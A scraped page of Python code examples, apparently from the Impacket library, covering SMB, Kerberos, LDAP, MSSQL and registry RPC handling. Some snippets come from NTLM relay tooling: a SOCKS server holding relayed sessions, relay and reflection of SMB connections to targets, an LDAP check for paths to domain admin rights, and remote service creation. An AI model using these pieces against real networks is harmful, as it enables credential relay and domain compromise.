Example #1
0
    def __init__(self, remoteName='', remoteHost='', myName = None, sess_port = 445, timeout=60, preferredDialect = None, existingConnection = None):

        self._SMBConnection = 0
        self._dialect       = ''
        self._nmbSession    = 0
        hostType = nmb.TYPE_SERVER

        if existingConnection is not None:
            # Existing Connection must be a smb or smb3 instance
            assert ( isinstance(existingConnection,smb.SMB) or isinstance(existingConnection, smb3.SMB3))
            self._SMBConnection = existingConnection
            return

        ##preferredDialect = smb.SMB_DIALECT
        if preferredDialect is None:
            # If no preferredDialect sent, we try the highest available one.
            packet = self._negotiateSession(myName, remoteName, remoteHost, sess_port, timeout)
            if packet[0] == '\xfe':
                # Answer is SMB2 packet
                self._SMBConnection = smb3.SMB3(remoteName, remoteHost, myName, hostType, sess_port, timeout, session = self._nmbSession )
            else:
                # Answer is SMB packet, sticking to SMBv1
                self._SMBConnection = smb.SMB(remoteName, remoteHost, myName, hostType, sess_port, timeout, session = self._nmbSession, negPacket = packet)
        else:
            if preferredDialect == smb.SMB_DIALECT:
                self._SMBConnection = smb.SMB(remoteName, remoteHost, myName, hostType, sess_port, timeout)
            elif preferredDialect in [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]:
                self._SMBConnection = smb3.SMB3(remoteName, remoteHost, myName, hostType, sess_port, timeout, preferredDialect = preferredDialect)
            else:
                LOG.critical("Unknown dialect ", preferredDialect)
                raise
Example #2
0
    def openFile(self, treeId, pathName, desiredAccess = FILE_READ_DATA | FILE_WRITE_DATA, shareMode = FILE_SHARE_READ, creationOption = FILE_NON_DIRECTORY_FILE, creationDisposition = FILE_OPEN, fileAttributes = FILE_ATTRIBUTE_NORMAL, impersonationLevel = SMB2_IL_IMPERSONATION, securityFlags = 0, oplockLevel = SMB2_OPLOCK_LEVEL_NONE, createContexts = None):
        """
        opens a remote file

        :param HANDLE treeId: a valid handle for the share where the file is to be opened
        :param string pathName: the path name to open
        :return: a valid file descriptor, if not raises a SessionError exception.
        """

        if self.getDialect() == smb.SMB_DIALECT:
            pathName = string.replace(pathName, '/', '\\')
            ntCreate = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX)
            ntCreate['Parameters'] = smb.SMBNtCreateAndX_Parameters()
            ntCreate['Data']       = smb.SMBNtCreateAndX_Data()
            ntCreate['Parameters']['FileNameLength']= len(pathName)
            ntCreate['Parameters']['AccessMask']    = desiredAccess
            ntCreate['Parameters']['FileAttributes']= fileAttributes
            ntCreate['Parameters']['ShareAccess']   = shareMode
            ntCreate['Parameters']['Disposition']   = creationDisposition
            ntCreate['Parameters']['CreateOptions'] = creationOption
            ntCreate['Parameters']['Impersonation'] = impersonationLevel
            ntCreate['Parameters']['SecurityFlags'] = securityFlags
            ntCreate['Parameters']['CreateFlags']   = 0x16
            ntCreate['Data']['FileName'] = pathName

            if createContexts is not None:
                LOG.error("CreateContexts not supported in SMB1")

            try:
                return self._SMBConnection.nt_create_andx(treeId, pathName, cmd = ntCreate)
            except (smb.SessionError, smb3.SessionError), e:
                raise SessionError(e.get_error_code())
Example #3
0
 def do_shares(self, line):
     if self.loggedIn is False:
         LOG.error("Not logged in")
         return
     resp = self.smb.listShares()
     for i in range(len(resp)):
         print((resp[i]['shi1_netname'][:-1]))
Example #4
0
    def createService(self, handle, share, path):
        LOG.info("Creating service %s on %s....." % (self.__service_name, self.connection.getRemoteHost()))

        # First we try to open the service in case it exists. If it does, we remove it.
        try:
            resp =  scmr.hROpenServiceW(self.rpcsvc, handle, self.__service_name+'\x00')
        except Exception as e:
            if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0:
                # We're good, pass the exception
                pass
            else:
                raise e
        else:
            # It exists, remove it
            scmr.hRDeleteService(self.rpcsvc, resp['lpServiceHandle'])
            scmr.hRCloseServiceHandle(self.rpcsvc, resp['lpServiceHandle'])

        # Create the service
        command = '%s\\%s' % (path, self.__binary_service_name)
        try: 
            resp = scmr.hRCreateServiceW(self.rpcsvc, handle,self.__service_name + '\x00', self.__service_name + '\x00',
                                         lpBinaryPathName=command + '\x00', dwStartType=scmr.SERVICE_DEMAND_START)
        except:
            LOG.critical("Error creating service %s on %s" % (self.__service_name, self.connection.getRemoteHost()))
            raise
        else:
            return resp['lpServiceHandle']
Example #5
0
    def initConnection(self):
        self.connect()
        #This is copied from tds.py
        resp = self.preLogin()
        if resp['Encryption'] == TDS_ENCRYPT_REQ or resp['Encryption'] == TDS_ENCRYPT_OFF:
            LOG.debug("Encryption required, switching to TLS")

            # Switching to TLS now
            ctx = SSL.Context(SSL.TLSv1_METHOD)
            ctx.set_cipher_list('RC4, AES256')
            tls = SSL.Connection(ctx,None)
            tls.set_connect_state()
            while True:
                try:
                    tls.do_handshake()
                except SSL.WantReadError:
                    data = tls.bio_read(4096)
                    self.sendTDS(TDS_PRE_LOGIN, data,0)
                    tds = self.recvTDS()
                    tls.bio_write(tds['Data'])
                else:
                    break

            # SSL and TLS limitation: Secure Socket Layer (SSL) and its replacement,
            # Transport Layer Security(TLS), limit data fragments to 16k in size.
            self.packetSize = 16*1024-1
            self.tlsSocket = tls
        self.resp = resp
        return True
Example #6
0
def sendReceive(data, host, kdcHost):
    if kdcHost is None:
        targetHost = host
    else:
        targetHost = kdcHost

    messageLen = struct.pack('!i', len(data))

    LOG.debug('Trying to connect to KDC at %s' % targetHost)
    try:
        af, socktype, proto, canonname, sa = socket.getaddrinfo(targetHost, 88, 0, socket.SOCK_STREAM)[0]
        s = socket.socket(af, socktype, proto)
        s.connect(sa)
    except socket.error as e:
        raise socket.error("Connection error (%s:%s)" % (targetHost, 88), e)

    s.sendall(messageLen + data)

    recvDataLen = struct.unpack('!i', s.recv(4))[0]

    r = s.recv(recvDataLen)
    while len(r) < recvDataLen:
        r += s.recv(recvDataLen-len(r))

    try:
        krbError = KerberosError(packet = decoder.decode(r, asn1Spec = KRB_ERROR())[0])
    except:
        return r

    if krbError.getErrorCode() != constants.ErrorCodes.KDC_ERR_PREAUTH_REQUIRED.value:
        raise krbError

    return r
Example #7
0
    def __init__(self, server_address=('0.0.0.0', 1080), handler_class=SocksRequestHandler):
        LOG.info('SOCKS proxy started. Listening at port %d', server_address[1] )

        self.activeRelays = {}
        self.socksPlugins = {}
        self.restAPI = None
        self.activeConnectionsWatcher = None
        self.supportedSchemes = []
        SocketServer.TCPServer.allow_reuse_address = True
        SocketServer.TCPServer.__init__(self, server_address, handler_class)

        # Let's register the socksplugins plugins we have
        from impacket.examples.ntlmrelayx.servers.socksplugins import SOCKS_RELAYS

        for relay in SOCKS_RELAYS:
            LOG.info('%s loaded..' % relay.PLUGIN_NAME)
            self.socksPlugins[relay.PLUGIN_SCHEME] = relay
            self.supportedSchemes.append(relay.PLUGIN_SCHEME)

        # Let's create a timer to keep the connections up.
        self.__timer = RepeatedTimer(KEEP_ALIVE_TIMER, keepAliveTimer, self)

        # Let's start our RESTful API
        self.restAPI = Thread(target=webService, args=(self, ))
        self.restAPI.daemon = True
        self.restAPI.start()

        # Let's start out worker for active connections
        self.activeConnectionsWatcher = Thread(target=activeConnectionsWatcher, args=(self, ))
        self.activeConnectionsWatcher.daemon = True
        self.activeConnectionsWatcher.start()
Example #8
0
    def getTag(self, tagNum):
        if self.record['FirstAvailablePageTag'] < tagNum:
            LOG.error('Trying to grab an unknown tag 0x%x' % tagNum)
            raise

        tags = self.data[-4*self.record['FirstAvailablePageTag']:]
        baseOffset = len(self.record)
        for i in range(tagNum):
            tags = tags[:-4]

        tag = tags[-4:]

        if self.__DBHeader['Version'] == 0x620 and self.__DBHeader['FileFormatRevision'] >= 17 and self.__DBHeader['PageSize'] > 8192:
            valueSize = unpack('<H', tag[:2])[0] & 0x7fff
            valueOffset = unpack('<H',tag[2:])[0] & 0x7fff
            tmpData = list(self.data[baseOffset+valueOffset:][:valueSize])
            pageFlags = ord(tmpData[1]) >> 5
            tmpData[1] = chr(ord(tmpData[1]) & 0x1f)
            tagData = "".join(tmpData)
        else:
            valueSize = unpack('<H', tag[:2])[0] & 0x1fff
            pageFlags = (unpack('<H', tag[2:])[0] & 0xe000) >> 13
            valueOffset = unpack('<H',tag[2:])[0] & 0x1fff
            tagData = self.data[baseOffset+valueOffset:][:valueSize]

        #return pageFlags, self.data[baseOffset+valueOffset:][:valueSize]
        return pageFlags, tagData
Example #9
0
    def decode(self, aBuffer):
        i = ImpactPacket.IP(aBuffer)
        self.set_decoded_protocol ( i )
        off = i.get_header_size()
        end = i.get_ip_len()
        # If ip_len == 0 we might be facing TCP segmentation offload, let's calculate the right len
        if end == 0:
            LOG.warning('IP len reported as 0, most probably because of TCP segmentation offload. Attempting to fix its size')
            i.set_ip_len(len(aBuffer))
            end = i.get_ip_len()

        if i.get_ip_p() == ImpactPacket.UDP.protocol:
            self.udp_decoder = UDPDecoder()
            packet = self.udp_decoder.decode(aBuffer[off:end])
        elif i.get_ip_p() == ImpactPacket.TCP.protocol:
            self.tcp_decoder = TCPDecoder()
            packet = self.tcp_decoder.decode(aBuffer[off:end])
        elif i.get_ip_p() == ImpactPacket.ICMP.protocol:
            self.icmp_decoder = ICMPDecoder()
            packet = self.icmp_decoder.decode(aBuffer[off:end])
        elif i.get_ip_p() == ImpactPacket.IGMP.protocol:
            self.igmp_decoder = IGMPDecoder()
            packet = self.igmp_decoder.decode(aBuffer[off:end])
        else:
            self.data_decoder = DataDecoder()
            packet = self.data_decoder.decode(aBuffer[off:end])
        i.contains(packet)
        return i
Example #10
0
 def do_rm(self, filename):
     if self.tid is None:
         LOG.error("No share selected")
         return
     f = ntpath.join(self.pwd, filename)
     file = f.replace('/','\\')
     self.smb.deleteFile(self.share, file)
Example #11
0
def hBaseRegQueryValue(dce, hKey, lpValueName, dataLen=512):
    request = BaseRegQueryValue()
    request['hKey'] = hKey
    request['lpValueName'] = checkNullString(lpValueName)
    retries = 1

    # We need to be aware the size might not be enough, so let's catch ERROR_MORE_DATA exception
    while True:
        try:
            request['lpData'] = b' ' * dataLen
            request['lpcbData'] = dataLen
            request['lpcbLen'] = dataLen
            resp = dce.request(request)
        except DCERPCSessionError as e:
            if retries > 1:
                LOG.debug('Too many retries when calling hBaseRegQueryValue, aborting')
                raise
            if e.get_error_code() == system_errors.ERROR_MORE_DATA:
                # We need to adjust the size
                dataLen = e.get_packet()['lpcbData']
                continue
            else:
                raise
        else:
            break

    # Returns
    # ( dataType, data )
    return resp['lpType'], unpackValue(resp['lpType'], resp['lpData'])
Example #12
0
    def validatePrivileges(self, uname, domainDumper):
        # Find the user's DN
        membersids = []
        sidmapping = {}
        privs = {
            'create': False, # Whether we can create users
            'createIn': None, # Where we can create users
            'escalateViaGroup': False, # Whether we can escalate via a group
            'escalateGroup': None, # The group we can escalate via
            'aclEscalate': False, # Whether we can escalate via ACL on the domain object
            'aclEscalateIn': None # The object which ACL we can edit
        }
        self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(uname), attributes=['objectSid', 'primaryGroupId'])
        user = self.client.entries[0]
        usersid = user['objectSid'].value
        sidmapping[usersid] = user.entry_dn
        membersids.append(usersid)
        # The groups the user is a member of
        self.client.search(domainDumper.root, '(member:1.2.840.113556.1.4.1941:=%s)' % escape_filter_chars(user.entry_dn), attributes=['name', 'objectSid'])
        LOG.debug('User is a member of: %s' % self.client.entries)
        for entry in self.client.entries:
            sidmapping[entry['objectSid'].value] = entry.entry_dn
            membersids.append(entry['objectSid'].value)
        # Also search by primarygroupid
        # First get domain SID
        self.client.search(domainDumper.root, '(objectClass=domain)', attributes=['objectSid'])
        domainsid = self.client.entries[0]['objectSid'].value
        gid = user['primaryGroupId'].value
        # Now search for this group by SID
        self.client.search(domainDumper.root, '(objectSid=%s-%d)' % (domainsid, gid), attributes=['name', 'objectSid', 'distinguishedName'])
        group = self.client.entries[0]
        LOG.debug('User is a member of: %s' % self.client.entries)
        # Add the group sid of the primary group to the list
        sidmapping[group['objectSid'].value] = group.entry_dn
        membersids.append(group['objectSid'].value)
        controls = security_descriptor_control(sdflags=0x05) # Query Owner and Dacl
        # Now we have all the SIDs applicable to this user, now enumerate the privileges of domains and OUs
        entries = self.client.extend.standard.paged_search(domainDumper.root, '(|(objectClass=domain)(objectClass=organizationalUnit))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True)
        self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper)
        # Also get the privileges on the default Users container
        entries = self.client.extend.standard.paged_search(domainDumper.root, '(&(cn=Users)(objectClass=container))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True)
        self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper)

        # Interesting groups we'd like to be a member of, in order of preference
        interestingGroups = [
            '%s-%d' % (domainsid, 519), # Enterprise admins
            '%s-%d' % (domainsid, 512), # Domain admins
            'S-1-5-32-544', # Built-in Administrators
            'S-1-5-32-551', # Backup operators
            'S-1-5-32-548', # Account operators
        ]
        privs['escalateViaGroup'] = False
        for group in interestingGroups:
            self.client.search(domainDumper.root, '(objectSid=%s)' % group, attributes=['nTSecurityDescriptor', 'objectClass'])
            groupdata = self.client.response
            self.checkSecurityDescriptors(groupdata, privs, membersids, sidmapping, domainDumper)
            if privs['escalateViaGroup']:
                # We have a result - exit the loop
                break
        return (usersid, privs)
Example #13
0
def activeConnectionsWatcher(server):
    while True:
        # This call blocks until there is data, so it doesn't loop endlessly
        target, port, scheme, userName, client, data = activeConnections.get()
        # ToDo: Careful. Dicts are not thread safe right?
        if (target in server.activeRelays) is not True:
            server.activeRelays[target] = {}
        if (port in server.activeRelays[target]) is not True:
            server.activeRelays[target][port] = {}

        if (userName in server.activeRelays[target][port]) is not True:
            LOG.info('SOCKS: Adding %s@%s(%s) to active SOCKS connection. Enjoy' % (userName, target, port))
            server.activeRelays[target][port][userName] = {}
            # This is the protocolClient. Needed because we need to access the killConnection from time to time.
            # Inside this instance, you have the session attribute pointing to the relayed session.
            server.activeRelays[target][port][userName]['protocolClient'] = client
            server.activeRelays[target][port][userName]['inUse'] = False
            server.activeRelays[target][port][userName]['data'] = data
            # Just for the CHALLENGE data, we're storing this general
            server.activeRelays[target][port]['data'] = data
            # Let's store the protocol scheme, needed be used later when trying to find the right socks relay server to use
            server.activeRelays[target][port]['scheme'] = scheme
        else:
            LOG.info('Relay connection for %s at %s(%d) already exists. Discarding' % (userName, target, port))
            client.killConnection()
Example #14
0
 def transferResponse(self):
     data = self.relaySocket.recv(self.packetSize)
     headerSize = data.find(EOL+EOL)
     headers = self.getHeaders(data)
     try:
         bodySize = int(headers['content-length'])
         readSize = len(data)
         # Make sure we send the entire response, but don't keep it in memory
         self.socksSocket.send(data)
         while readSize < bodySize + headerSize + 4:
             data = self.relaySocket.recv(self.packetSize)
             readSize += len(data)
             self.socksSocket.send(data)
     except KeyError:
         try:
             if headers['transfer-encoding'] == 'chunked':
                 # Chunked transfer-encoding, bah
                 LOG.debug('Server sent chunked encoding - transferring')
                 self.transferChunked(data, headers)
             else:
                 # No body in the response, send as-is
                 self.socksSocket.send(data)
         except KeyError:
             # No body in the response, send as-is
             self.socksSocket.send(data)
Example #15
0
 def get_address(self):
     address =  get_bytes( self.buffer, 5, self.get_address_length() )
     if  self.get_protocol()==AddressDetails.PROTOCOL_IP:
         return socket.inet_ntoa(address)
     else:
         LOG.error("Address not IP")
         return address            
Example #16
0
def sendReceive(data, host, kdcHost):
    if kdcHost is None:
        targetHost = host
    else:
        targetHost = kdcHost

    messageLen = struct.pack('!i', len(data))

    LOG.debug('Trying to connect to KDC at %s' % targetHost)
    s = socket.socket()
    s.connect((targetHost, 88))
    s.sendall(messageLen + data)

    recvDataLen = struct.unpack('!i', s.recv(4))[0]

    r = s.recv(recvDataLen)
    while len(r) < recvDataLen:
        r += s.recv(recvDataLen-len(r))

    try:
        krbError = KerberosError(packet = decoder.decode(r, asn1Spec = KRB_ERROR())[0])
    except:
        return r

    if krbError.getErrorCode() != constants.ErrorCodes.KDC_ERR_PREAUTH_REQUIRED.value:
        raise krbError

    return r
Example #17
0
 def do_rmdir(self, path):
     if self.tid is None:
         LOG.error("No share selected")
         return
     p = ntpath.join(self.pwd, path)
     pathname = p.replace('/','\\')
     self.smb.deleteDirectory(self.share, pathname)
Example #18
0
    def toTGS(self, newSPN=None):
        tgs_rep = TGS_REP()
        tgs_rep['pvno'] = 5
        tgs_rep['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REP.value)
        tgs_rep['crealm'] = self['server'].realm['data']

        # Fake EncryptedData
        tgs_rep['enc-part'] = noValue
        tgs_rep['enc-part']['etype'] = 1
        tgs_rep['enc-part']['cipher'] = '' 
        seq_set(tgs_rep, 'cname', self['client'].toPrincipal().components_to_asn1)
        ticket = types.Ticket()
        ticket.from_asn1(self.ticket['data'])
        if newSPN is not None:
            if newSPN.upper() != str(ticket.service_principal).upper():
                LOG.debug('Changing sname from %s to %s and hoping for the best' % (ticket.service_principal, newSPN) )
                ticket.service_principal = types.Principal(newSPN, type=int(ticket.service_principal.type))
        seq_set(tgs_rep,'ticket', ticket.to_asn1)

        cipher = crypto._enctype_table[self['key']['keytype']]()

        tgs = dict()
        tgs['KDC_REP'] = encoder.encode(tgs_rep)
        tgs['cipher'] = cipher
        tgs['sessionKey'] = crypto.Key(cipher.enctype, str(self['key']['keyvalue']))
        return tgs
Example #19
0
def hBaseRegEnumValue(dce, hKey, dwIndex, dataLen=256):
    request = BaseRegEnumValue()
    request['hKey'] = hKey
    request['dwIndex'] = dwIndex
    retries = 1

    # We need to be aware the size might not be enough, so let's catch ERROR_MORE_DATA exception
    while True:
        try:
            # Only the maximum length field of the lpValueNameIn is used to determine the buffer length to be allocated
            # by the service. Specify a string with a zero length but maximum length set to the largest buffer size
            # needed to hold the value names.
            request.fields['lpValueNameIn'].fields['MaximumLength'] = dataLen*2
            request.fields['lpValueNameIn'].fields['Data'].fields['Data'].fields['MaximumCount'] = dataLen

            request['lpData'] = b' ' * dataLen
            request['lpcbData'] = dataLen
            request['lpcbLen'] = dataLen
            resp = dce.request(request)
        except DCERPCSessionError as e:
            if retries > 1:
                LOG.debug('Too many retries when calling hBaseRegEnumValue, aborting')
                raise
            if e.get_error_code() == system_errors.ERROR_MORE_DATA:
                # We need to adjust the size
                retries +=1
                dataLen = e.get_packet()['lpcbData']
                continue
            else:
                raise
        else:
            break

    return resp
 def initConnection(self):
     self.session = imaplib.IMAP4_SSL(self.targetHost,self.targetPort)
     self.authTag = self.session._new_tag()
     LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities))
     if 'AUTH=NTLM' not in self.session.capabilities:
         LOG.error('IMAP server does not support NTLM authentication!')
         return False
     return True
Example #21
0
 def run(self):
     while True:
         mtime = os.stat(self.targetprocessor.filename).st_mtime
         if mtime > self.lastmtime:
             LOG.info('Targets file modified - refreshing')
             self.lastmtime = mtime
             self.targetprocessor.readTargets()
         time.sleep(1.0)
Example #22
0
 def handle_one_request(self):
     try:
         SimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request(self)
     except KeyboardInterrupt:
         raise
     except Exception, e:
         LOG.error('Exception in HTTP request handler: %s' % e)
         LOG.debug(traceback.format_exc())
Example #23
0
 def do_use(self,line):
     if self.loggedIn is False:
         LOG.error("Not logged in")
         return
     self.share = line
     self.tid = self.smb.connectTree(line)
     self.pwd = '\\'
     self.do_ls('', False)
Example #24
0
 def skipAuthentication(self):
     LOG.debug('Wrapping client connection in TLS/SSL')
     self.wrapClientConnection()
     if not HTTPSocksRelay.skipAuthentication(self):
         # Shut down TLS connection
         self.socksSocket.shutdown()
         return False
     return True
Example #25
0
 def handle_one_request(self):
     try:
         http.server.SimpleHTTPRequestHandler.handle_one_request(self)
     except KeyboardInterrupt:
         raise
     except Exception as e:
         LOG.debug("Exception:", exc_info=True)
         LOG.error('Exception in HTTP request handler: %s' % e)
Example #26
0
 def getUserInfo(self, domainDumper, samname):
     entries = self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid'])
     try:
         dn = self.client.entries[0].entry_dn
         sid = self.client.entries[0]['objectSid']
         return (dn, sid)
     except IndexError:
         LOG.error('User not found in LDAP: %s' % samname)
         return False
Example #27
0
    def onecmd(self,s):
        retVal = False
        try:
           retVal = cmd.Cmd.onecmd(self,s)
        except Exception as e:
           import traceback
           traceback.print_exc()
           LOG.error(e)

        return retVal
Example #28
0
 def readTargets(self):
     try:
         with open(self.filename,'r') as f:
             self.originalTargets = []
             for line in f:
                 target = line.strip()
                 if target is not None:
                     self.originalTargets.extend(self.processTarget(target, self.protocolClients))
     except IOError, e:
         LOG.error("Could not open file: %s - " % (self.filename, str(e)))
Example #29
0
    def initConnection(self):
        self.session = smtplib.SMTP(self.targetHost,self.targetPort)
        # Turn on to debug SMTP messages
        # self.session.debuglevel = 3
        self.session.ehlo()

        if 'AUTH NTLM' not in self.session.ehlo_resp:
            LOG.error('SMTP server does not support NTLM authentication!')
            return False
        return True
Example #30
0
    def __init__(self, url, baseDN='', dstIp=None):
        """
        LDAPConnection class

        :param string url:
        :param string baseDN:
        :param string dstIp:

        :return: a LDAP instance, if not raises a LDAPSessionError exception
        """
        self._SSL = False
        self._dstPort = 0
        self._dstHost = 0
        self._socket = None
        self._baseDN = baseDN
        self._messageId = 1
        self._dstIp = dstIp

        if url.startswith('ldap://'):
            self._dstPort = 389
            self._SSL = False
            self._dstHost = url[7:]
        elif url.startswith('ldaps://'):
            self._dstPort = 636
            self._SSL = True
            self._dstHost = url[8:]
        elif url.startswith('gc://'):
            self._dstPort = 3268
            self._SSL = False
            self._dstHost = url[5:]
        else:
            raise LDAPSessionError(errorString="Unknown URL prefix: '%s'" % url)

        # Try to connect
        if self._dstIp is not None:
            targetHost = self._dstIp
        else:
            targetHost = self._dstHost

        LOG.debug('Connecting to %s, port %d, SSL %s' % (targetHost, self._dstPort, self._SSL))
        try:
            af, socktype, proto, _, sa = socket.getaddrinfo(targetHost, self._dstPort, 0, socket.SOCK_STREAM)[0]
            self._socket = socket.socket(af, socktype, proto)
        except socket.error as e:
            raise socket.error('Connection error (%s:%d)' % (targetHost, 88), e)

        if self._SSL is False:
            self._socket.connect(sa)
        else:
            # Switching to TLS now
            ctx = SSL.Context(SSL.TLSv1_METHOD)
            # ctx.set_cipher_list('RC4')
            self._socket = SSL.Connection(ctx, self._socket)
            self._socket.connect(sa)
            self._socket.do_handshake()
Example #31
0
    def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False):
        connData = smbServer.getConnectionData(connId, checkStatus=False)

        if self.config.mode.upper() == 'REFLECTION':
            self.targetprocessor = TargetsProcessor(
                singleTarget='SMB://%s:445/' % connData['ClientIP'])

        self.target = self.targetprocessor.getTarget()

        LOG.info(
            "SMBD-%s: Received connection from %s, attacking target %s://%s" %
            (connId, connData['ClientIP'], self.target.scheme,
             self.target.netloc))

        try:
            if self.config.mode.upper() == 'REFLECTION':
                # Force standard security when doing reflection
                LOG.debug("Downgrading to standard security")
                extSec = False
                #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
            else:
                extSec = True
            # Init the correct client for our target
            client = self.init_client(extSec)
        except Exception as e:
            LOG.error("Connection against target %s://%s FAILED: %s" %
                      (self.target.scheme, self.target.netloc, str(e)))
            self.targetprocessor.logTarget(self.target)
        else:
            connData['SMBClient'] = client
            connData['EncryptionKey'] = client.getStandardSecurityChallenge()
            smbServer.setConnectionData(connId, connData)

        respPacket = smb3.SMB2Packet()
        respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR
        respPacket['Status'] = STATUS_SUCCESS
        respPacket['CreditRequestResponse'] = 1
        respPacket['Command'] = smb3.SMB2_NEGOTIATE
        respPacket['SessionID'] = 0

        if isSMB1 is False:
            respPacket['MessageID'] = recvPacket['MessageID']
        else:
            respPacket['MessageID'] = 0

        respPacket['TreeID'] = 0

        respSMBCommand = smb3.SMB2Negotiate_Response()

        # Just for the Nego Packet, then disable it
        respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED

        if isSMB1 is True:
            # Let's first parse the packet to see if the client supports SMB2
            SMBCommand = smb.SMBCommand(recvPacket['Data'][0])

            dialects = SMBCommand['Data'].split(b'\x02')
            if b'SMB 2.002\x00' in dialects or b'SMB 2.???\x00' in dialects:
                respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
                #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
            else:
                # Client does not support SMB2 fallbacking
                raise Exception('SMB2 not supported, fallbacking')
        else:
            respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
            #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21

        respSMBCommand['ServerGuid'] = b(''.join(
            [random.choice(string.ascii_letters) for _ in range(16)]))
        respSMBCommand['Capabilities'] = 0
        respSMBCommand['MaxTransactSize'] = 65536
        respSMBCommand['MaxReadSize'] = 65536
        respSMBCommand['MaxWriteSize'] = 65536
        respSMBCommand['SystemTime'] = getFileTime(
            calendar.timegm(time.gmtime()))
        respSMBCommand['ServerStartTime'] = getFileTime(
            calendar.timegm(time.gmtime()))
        respSMBCommand['SecurityBufferOffset'] = 0x80

        blob = SPNEGO_NegTokenInit()
        blob['MechTypes'] = [
            TypesMech[
                'NEGOEX - SPNEGO Extended Negotiation Security Mechanism'],
            TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
        ]

        respSMBCommand['Buffer'] = blob.getData()
        respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])

        respPacket['Data'] = respSMBCommand

        smbServer.setConnectionData(connId, connData)

        return None, [respPacket], STATUS_SUCCESS
Example #32
0
File: tds.py Project: tye41/CS-6250
    def parseRow(self, token, tuplemode=False):
        # TODO: This REALLY needs to be improved. Right now we don't support correctly all the data types
        # help would be appreciated ;)
        if len(token) == 1:
            return 0

        row = [] if tuplemode else {}

        origDataLen = len(token['Data'])
        data = token['Data']
        for col in self.colMeta:
            _type = col['Type']
            if (_type == TDS_NVARCHARTYPE) |\
               (_type == TDS_NCHARTYPE):
                #print "NVAR 0x%x" % _type
                charLen = struct.unpack('<H', data[:struct.calcsize('<H')])[0]
                data = data[struct.calcsize('<H'):]
                if charLen != 0xFFFF:
                    value = data[:charLen].decode('utf-16le')
                    data = data[charLen:]
                else:
                    value = 'NULL'

            elif (_type == TDS_BIGVARCHRTYPE):
                charLen = struct.unpack('<H', data[:struct.calcsize('<H')])[0]
                data = data[struct.calcsize('<H'):]
                if charLen != 0xFFFF:
                    value = data[:charLen]
                    data = data[charLen:]
                else:
                    value = 'NULL'

            elif (_type == TDS_GUIDTYPE):
                uuidLen = ord(data[0])
                data = data[1:]
                if uuidLen > 0:
                    uu = data[:uuidLen]
                    value = uuid.bin_to_string(uu)
                    data = data[uuidLen:]
                else:
                    value = 'NULL'

            elif (_type == TDS_NTEXTTYPE) |\
                 (_type == TDS_IMAGETYPE) :
                # Skip the pointer data
                charLen = ord(data[0])
                if charLen == 0:
                    value = 'NULL'
                    data = data[1:]
                else:
                    data = data[1 + charLen + 8:]
                    charLen = struct.unpack('<L',
                                            data[:struct.calcsize('<L')])[0]
                    data = data[struct.calcsize('<L'):]
                    if charLen != 0xFFFF:
                        if _type == TDS_NTEXTTYPE:
                            value = data[:charLen].decode('utf-16le')
                        else:
                            value = binascii.b2a_hex(data[:charLen])
                        data = data[charLen:]
                    else:
                        value = 'NULL'

            elif (_type == TDS_TEXTTYPE):
                # Skip the pointer data
                charLen = ord(data[0])
                if charLen == 0:
                    value = 'NULL'
                    data = data[1:]
                else:
                    data = data[1 + charLen + 8:]
                    charLen = struct.unpack('<L',
                                            data[:struct.calcsize('<L')])[0]
                    data = data[struct.calcsize('<L'):]
                    if charLen != 0xFFFF:
                        value = data[:charLen]
                        data = data[charLen:]
                    else:
                        value = 'NULL'

            elif (_type == TDS_BIGVARBINTYPE) |\
                 (_type == TDS_BIGBINARYTYPE):
                charLen = struct.unpack('<H', data[:struct.calcsize('<H')])[0]
                data = data[struct.calcsize('<H'):]
                if charLen != 0xFFFF:
                    value = binascii.b2a_hex(data[:charLen])
                    data = data[charLen:]
                else:
                    value = 'NULL'

            elif (_type == TDS_DATETIM4TYPE) |\
                 (_type == TDS_DATETIMNTYPE) |\
                 (_type == TDS_DATETIMETYPE):
                value = ''
                if _type == TDS_DATETIMNTYPE:
                    # For DATETIMNTYPE, the only valid lengths are 0x04 and 0x08, which map to smalldatetime and
                    # datetime SQL data _types respectively.
                    if ord(data[0]) == 4:
                        _type = TDS_DATETIM4TYPE
                    elif ord(data[0]) == 8:
                        _type = TDS_DATETIMETYPE
                    else:
                        value = 'NULL'
                    data = data[1:]
                if (_type == TDS_DATETIMETYPE):
                    # datetime is represented in the following sequence:
                    # * One 4-byte signed integer that represents the number of days since January 1, 1900. Negative
                    #   numbers are allowed to represents dates since January 1, 1753.
                    # * One 4-byte unsigned integer that represents the number of one three-hundredths of a second
                    #  (300 counts per second) elapsed since 12 AM that day.
                    dateValue = struct.unpack('<l', data[:4])[0]
                    data = data[4:]
                    if dateValue < 0:
                        baseDate = datetime.date(1753, 1, 1)
                    else:
                        baseDate = datetime.date(1900, 1, 1)
                    timeValue = struct.unpack('<L', data[:4])[0]
                    data = data[4:]
                elif (_type == TDS_DATETIM4TYPE):
                    # Small datetime
                    # 2.2.5.5.1.8
                    # Date/Times
                    # smalldatetime is represented in the following sequence:
                    # * One 2-byte unsigned integer that represents the number of days since January 1, 1900.
                    # * One 2-byte unsigned integer that represents the number of minutes elapsed since 12 AM that
                    #   day.
                    dateValue = struct.unpack('<H',
                                              data[:struct.calcsize('<H')])[0]
                    data = data[struct.calcsize('<H'):]
